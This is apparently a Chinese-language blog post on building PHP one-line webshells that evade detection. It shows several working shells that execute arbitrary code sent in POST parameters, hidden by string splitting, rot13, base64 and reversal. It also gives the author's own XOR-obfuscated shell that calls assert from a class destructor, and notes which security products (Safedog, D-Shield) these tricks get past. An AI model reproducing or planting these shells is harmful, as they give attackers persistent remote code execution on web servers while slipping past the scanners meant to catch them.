PHP一句话简单免杀

PHP一句话简单免杀

原型

几种已经开源的免杀思路

• 拆解合并

  <?php
  $ch = explode(".","hello.ev.world.a.l");
  $c = $ch[1].$ch[3].$ch[4]; //eval
  $c($_POST['x']);
  ?>
  

• rot13加密

  <?php
  $c=str_rot13('n!ff!re!nffreg');
  $str=explode('!',$c)[3];
  $str($_POST['x']);
  ?>
  

• rot13+base64

  <?php @eval(str_rot13(base64_decode($_POST['ant'])));?>
  

• rot13+base64+倒序

  <?php @eval(str_rot13(base64_decode(strrev($_POST['ant']))));?>
  

• 以及自定义蚁剑编码器

  

• 经过测试安全狗应该没有对流量进行检测，对其就行编码加密即可绕过，D盾着不行，如果对敏感函数进行简单的重定义函数名，D盾会爆1可疑文件

自己写的简单webshell

<?php
class Test{
    public $name = '';
	public $YH_asset;	#assert	

	//assert异或转换
	function __construct(){
		$_gwp="Y"^"\x38";
		$_uDO="}"^"\xe";
		$_ZnM="&"^"\x55";
		$_UaW="w"^"\x12";
		$_rUJ="b"^"\x10";
		$_nND="S"^"\x27";                           

		$this->YH_asset=$_gwp.$_uDO.$_ZnM.$_UaW.$_rUJ.$_nND;
	}

    function __destruct(){
	$YH_asset = $this->YH_asset;
	//assert(_POST['css']);
              @$YH_asset("$this->name");
    }
}

$test= new Test();
$c = @$_POST['css'];
$test->name = $c;
?>

结语

方法很多，我觉得这个webshell还是太长了，也没有太过细致的研究，之后有时间应该会继续学习下。